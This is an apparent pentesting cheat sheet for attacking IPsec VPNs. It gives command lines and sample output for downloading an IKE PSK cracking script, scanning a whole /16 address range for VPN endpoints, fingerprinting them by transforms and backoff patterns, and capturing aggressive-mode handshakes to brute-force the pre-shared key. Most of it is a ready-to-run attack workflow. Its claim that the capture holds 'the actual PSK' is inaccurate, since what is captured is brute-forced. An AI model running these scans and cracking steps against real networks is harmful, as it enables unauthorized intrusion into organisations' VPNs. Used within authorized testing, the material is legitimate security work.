Old Skewl VPN Pentesting

		################
		# VPN Auditing #
		################


####################
# Install IKE-Scan #
####################

---------------------------Type This-----------------------------------

sudo apt-get install -y ike-scan

wget https://raw.githubusercontent.com/0x90/wifi-arsenal/master/IKECrack/ikecrack-snarf-1.00.pl

-----------------------------------------------------------------------


#############
# Discovery #
#############

---------------------------Type This-----------------------------------

[root@Linux j0e]# ike-scan -M 24.24.0.0/16 <--- Discovery of VPNs


[root@Linux j0e]# ike-scan -M --aggressive 24.24.0.0/16 <--- Discovery of VPNs in agressive mode

-----------------------------------------------------------------------


##################
# Fingerprinting #
##################

---------------------------Type This-----------------------------------

[root@Linux j0e]# ike-scan -M --trans=5,2,1,2 --showbackoff 24.24.1.151 <--- Fingerprinting
-----------------------------------------------------------------------


	*** If you are really having trouble figuring out what VPN is, then you might wanna try some different transforms.
-----------------------------------------------------------------------
#!/bin/sh
# generate-transforms.sh
# Encryption algorithms: DES, Triple-DES, AES/128, AES/192 and AES/256
ENCLIST="1 5 7/128 7/192 7/256"
# Hash algorithms: MD5 and SHA1
HASHLIST="1 2"
# Authentication methods: Pre-Shared Key, RSA Signatures, Hybrid Mode and XAUTH
AUTHLIST="1 3 64221 65001"
# Diffie-Hellman groups: 1, 2 and 5
GROUPLIST="1 2 5"
#
for ENC in $ENCLIST; do
   for HASH in $HASHLIST; do
      for AUTH in $AUTHLIST; do
         for GROUP in $GROUPLIST; do
            echo "--trans=$ENC,$HASH,$AUTH,$GROUP"
         done
      done
   done
done
-----------------------------------------------------------------------
---------------------------Type This-----------------------------------
[root@Linux j0e]# sh generate-transforms.sh | xargs --max-lines=8 ike-scan 24.24.1.151 <--- Fingerprinting

[root@Linux j0e]# ike-scan -M `perl -e 'print "--trans=2,3,4,5 " x 20 . "--trans 5,2,1,2";'` 24.24.1.151

[root@Linux j0e]# ike-scan --trans=5,2,1,2 --vendor=4048b7d56ebce88525e7de7f00d6c2d3c0000000 --multiline 24.24.1.151

-----------------------------------------------------------------------
################
# PSK Cracking #
################

---------------------------Type This-----------------------------------
[root@Linux toolz]# /usr/sbin/tcpdump -nxq > logfile.dat
-----------------------------------------------------------------------

			or

---------------------------Type This-----------------------------------
		windump -nxq -s 1500 port 500 > logfile.dat
-----------------------------------------------------------------------

	*****make connection attempt with VPN client, then stop the log capture.*****
	Because the VPN uses PSK you can do this without a password so this logfile
	will contain the actual PSK, and ikecrack-scarf will bruteforce it for you.

	You have to attempt your connection with the VPN client software for that
	specific VPN, and the VPN needs to be in agressive mode.

---------------------------Type This-----------------------------------

[root@Linux toolz]# perl ikecrack-snarf-1.00.pl 24.24.1.151.500
-----------------------------------------------------------------------

	*****IKECrack by default looks for "logfile.dat" in the current directory*****




----------------------------------------------------------------------------------------------------------------------

---------------------------Type This-----------------------------------
[root@LinuxLaptop toolz]# ike-scan -M 24.24.1.0/24
-----------------------------------------------------------------------

Starting ike-scan 1.9 with 256 hosts (http://www.nta-monitor.com/tools/ike-scan/ )
24.24.1.0       Notify message 14 (NO-PROPOSAL-CHOSEN)
        HDR=(CKY-R=ba78bba863d98025)
24.24.1.1       Notify message 14 (NO-PROPOSAL-CHOSEN)
        HDR=(CKY-R=e9ba2df614761ad3)
24.24.1.2       Notify message 14 (NO-PROPOSAL-CHOSEN)
24.24.1.151     Main Mode Handshake returned
        HDR=(CKY-R=30a3910882ffea48)
        SA=(Enc=3DES Hash=MD5 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDur ation=28800)
        VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)
24.24.1.162     Notify message 14 (NO-PROPOSAL-CHOSEN)
        HDR=(CKY-R=0000000000000000)
24.24.1.169     (24.24.1.162) Notify message 14 (NO-PROPOSAL-CHOSEN)
        HDR=(CKY-R=0000000000000000)
24.24.1.236     Main Mode Handshake returned
        HDR=(CKY-R=f31f790c32b65404)
        SA=(Enc=3DES Hash=MD5 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDur ation=28800)
        VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)

Ending ike-scan 1.9: 256 hosts scanned in 39.640 seconds (6.46 hosts/sec).  2 re turned handshake; 12 returned notify

---------------------------Type This-----------------------------------
[root@LinuxLaptop toolz]# ike-scan -M --trans=5,2,1,2 --showbackoff 24.24.1.151
-----------------------------------------------------------------------

Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
24.24.1.151     Main Mode Handshake returned
        HDR=(CKY-R=82c51aa0ae799258)
        SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
        VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)


IKE Backoff Patterns:

IP Address      No.     Recv time               Delta Time
24.24.1.151     1       1182310337.727521       0.000000
24.24.1.151     2       1182310345.723607       7.996086
24.24.1.151     3       1182310353.723382       7.999775
24.24.1.151     4       1182310361.724154       8.000772
24.24.1.151     Implementation guess: Cisco VPN Concentrator

Ending ike-scan 1.9: 1 hosts scanned in 84.191 seconds (0.01 hosts/sec).  1 returned handshake; 0 returned notify